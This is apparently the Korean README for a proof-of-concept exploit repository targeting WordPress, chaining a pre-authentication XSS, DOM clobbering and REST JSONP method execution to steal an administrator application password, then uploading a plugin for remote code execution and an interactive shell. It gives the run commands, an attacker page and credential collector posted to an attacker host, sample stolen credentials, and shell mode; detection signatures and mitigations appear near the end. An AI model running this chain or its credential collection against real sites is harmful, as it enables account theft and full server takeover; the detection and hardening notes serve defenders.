
DOM 클로버링, REST JSONP/SOME 및 플러그인 업로드를 통한 WordPress 사전 인증 XSS에서 RCE로 이어지는 PoC 익스플로잇 체인으로, Docker 랩 검증과 인터랙티브 셸을 포함합니다.
WordPress 사전 인증(Pre-Auth) XSS → RCE 익스플로잇 체인으로, pwn.ai의 연구를 기반으로 ionsec.io에 게시된 내용입니다.
⚠️ 법적 경고: 교육 목적 및 승인된 테스트에만 사용하십시오. 소유한 시스템 또는 테스트에 대한 명시적인 서면 허가를 받은 시스템에 대해서만 사용하세요.
| 단계 | 기법 | 상태 |
|---|---|---|
| 1 | 파서 차등 XSS (sanitize_user + 브라우저 파싱 차이) | ✅ 검증됨 |
| 2 | DOM 클로버링 (<area id=ajaxurl>, <div id=color-picker>) | ✅ 검증됨 |
| 3 | 로그인 페이지의 user-profile.js 자동 트리거 | ✅ 검증됨 |
| 4 | REST JSONP 콜백이 점(.) 순회 허용 (window.opener.approve.click) | ✅ 검증됨 |
| 5 | _method=GET + _envelope=1 오버라이드 | ✅ 검증됨 |
| 6 | 애플리케이션 비밀번호 탈취 (SOME) | ⚠️ 관리자 클릭 필요 |
| 7 | 플러그인 업로드 → PHP 실행 (활성화 불필요) | ⚠️ 자격 증명 필요 |
전체 세부 내용은 lab/VERIFICATION_REPORT.md를 참조하세요.
Step 1: Parser Differential XSS
└─ sanitize_user() allows "< area>", "< div>", "< button>" (space after "<")
Browser parses these as real HTML elements in login error message
Step 2: DOM Clobbering
└─ <area id=ajaxurl> → shadows window.ajaxurl (HTMLAreaElement)
<div id=color-picker class=reset-pass-submit> → satisfies jQuery selectors
<button class="wp-generate-pw color-option"> → delegated click handler
Step 3: user-profile.js Auto-Trigger
└─ Enqueued on wp-login.php (line 1398)
$('.reset-pass-submit button.wp-generate-pw').trigger('click') fires
$.post(ajaxurl, ...) → target URL = area.href (attacker-controlled)
Step 4: REST API JSONP + SOME
└─ _jsonp=window.opener.approve.click → Same Origin Method Execution
_envelope=1 → bypass auth error, wrap response in 200
wp_check_jsonp_callback: regex /[^\w\.]/ allows dot traversal
Step 5: Social Engineering (1 click)
└─ Admin sees real /wp-admin/authorize-application.php page
Clicks "Approve" → application password minted
Step 6: Credential Theft
└─ Password appears in redirect query string → read by child window (same-origin)
Step 7: Plugin Upload → RCE
└─ Upload plugin ZIP → extracted to /wp-content/plugins/{slug}/
PHP files directly executable WITHOUT activation
pip install requests
python3 xss2shell_poc.py --target https://wp-target.com --check
# With Burp Suite proxy
python3 xss2shell_poc.py --target https://wp-target.com --check --proxy http://127.0.0.1:8081
cd lab
docker-compose up -d
# WordPress 6.0.3 at http://localhost:8080
# Admin: admin / password123
python3 xss2shell_poc.py --target http://localhost:8080 --check --no-ssl
python3 xss2shell_poc.py --target https://wp-target.com \
--attacker-host https://your-server.com --generate-page
xss2shell_attacker.html과 collect.php를 서버에 업로드하세요.
로그인한 WordPress 관리자가 공격자 페이지를 방문하여 한 번 클릭해야 합니다.
자격 증명은 서버의 collected_creds.json에 나타납니다:
[
{
"timestamp": "2026-08-08T...",
"username": "admin",
"password": "AbCd 1234 EfGh 5678",
"site": "https://wp-target.com"
}
]
python3 xss2shell_poc.py --target https://wp-target.com \
--username admin --app-password "AbCd 1234 EfGh 5678" --rce
python3 xss2shell_poc.py --target https://wp-target.com \
--username admin --app-password "AbCd 1234 EfGh 5678" --shell
python3 xss2shell_poc.py --target https://wp-target.com \
--username admin --app-password "AbCd 1234 EfGh 5678" --cleanup
서버 로그에서 찾아야 할 시그니처:
< area, < div, < button이 포함된 POST /wp-login.php_jsonp= 쿼리 파라미터가 있는 REST 요청 (특히 _jsonp=a.b.c — 점(.)은 SOME의 결정적 신호)_envelope=1 + _method=GETPOST /wp-admin/update.php?action=upload-pluginGET /wp-content/plugins/{unknown-plugin}/*.php — 활성화된 적 없는 플러그인의 PHP 파일authorize-application.php 요청 후 수 초 내에 생성된 애플리케이션 비밀번호add_filter('wp_is_application_passwords_available', '__return_false');
add_filter('rest_jsonp_enabled', '__return_false');
define('DISALLOW_FILE_MODS', true);
_jsonp=, _envelope= 차단; wp-login.php로 전송되는 POST 본문에서 < area 차단xss2shell/
├── README.md # Documentation (this file)
├── xss2shell_poc.py # Main PoC script
├── xss2shell_attacker.html # Generated attacker page
├── collect.php # Credential collector endpoint
└── lab/
├── docker-compose.yml # Docker lab (WP 6.0.3)
├── VERIFICATION_REPORT.md # Step-by-step verification
├── test_sanitize.php # sanitize_user() tests
├── test_full_payload.php # Full payload chain test
├── test_browser.html # DOM clobbering browser test
├── test_end_to_end.php # End-to-end PHP test
└── verify_xss.sh # Automated curl tests
| 항목 | 세부 내용 |
|---|
| CVE | CVE-2026-64638 |
| CVSS 4.0 | 8.9 |
| 영향받는 버전 | WordPress 4.7 – 7.0.2 (패치되지 않은 포인트 릴리스) |
| 수정 버전 | WordPress 7.0.3 (2026년 8월 6일), 모든 유지보수 브랜치에 백포트됨 |
| 인증 | 사전 인증(비인증 XSS) |
| 영향 | 플러그인 업로드를 통한 RCE |